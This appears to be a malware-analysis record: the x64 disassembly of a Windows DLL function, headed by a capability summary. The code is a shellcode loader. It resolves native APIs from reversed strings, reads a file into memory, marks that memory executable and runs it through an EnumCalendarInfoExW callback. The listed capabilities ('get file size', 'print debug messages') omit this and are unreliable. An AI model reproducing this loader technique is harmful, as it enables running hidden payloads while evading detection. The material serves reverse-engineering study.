Function at 0x180011276
Capabilities:
Get file size
Print debug messages

Disassembly:
jmp 0x180012c50
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x2c0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x6c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2e8]
mov rax, qword [0x18001f0c0]
xor rax, rbp
mov qword [rbp + 0x268], rax
lea rcx, [0x180024004]
call fcn.180011366
lea rcx, str.HelperFunc_was_executed
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call fcn.180011357
lea rax, [rbp + 8]
lea rcx, str.eliFdaeRtN
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x38]
lea rcx, str.yromeMlautriVtcetorPtN
mov rdi, rax
mov rsi, rcx
mov ecx, 0x17
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x68], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0xffffffffffffffff
jne 0x180012d4a
jmp 0x180012ede
lea rcx, str.Opened_File_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov eax, eax
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x180012d7e
jmp 0x180012ede
lea rcx, str.Got_file_Size
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xe8], 0xffffffffffffffff
mov edx, 0x17
lea rcx, str.yromeMlautriVetacollAtN
call fcn.180011375
lea rcx, str.yromeMlautriVetacollAtN
call fcn.1800111f4
mov qword [rbp + 0x108], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xa8]
xor r8d, r8d
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0xe8]
call qword [rbp + 0x108]
lea rcx, str.Alocated_memory
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, 0xa
lea rcx, [rbp + 8]
call fcn.180011375
lea rcx, [rbp + 8]
call fcn.1800111f4
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov eax, dword [rbp + 0xa8]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x158]
mov dword [rbp + 0x174], 4
mov edx, 0x16
lea rcx, [rbp + 0x38]
call fcn.180011375
lea rcx, [rbp + 0x38]
call fcn.1800111f4
mov qword [rbp + 0x198], rax
lea rax, [rbp + 0x174]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 0xa8]
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0xe8]
call qword [rbp + 0x198]
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
call fcn.180011389
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x50]
lea rdx, [0x18001bbf0]
call fcn.18001130c
mov rcx, qword [rbp + 0x268]
xor rcx, rbp
call fcn.1800111b8
lea rsp, [rbp + 0x270]
pop rdi
pop rsi
pop rbp
ret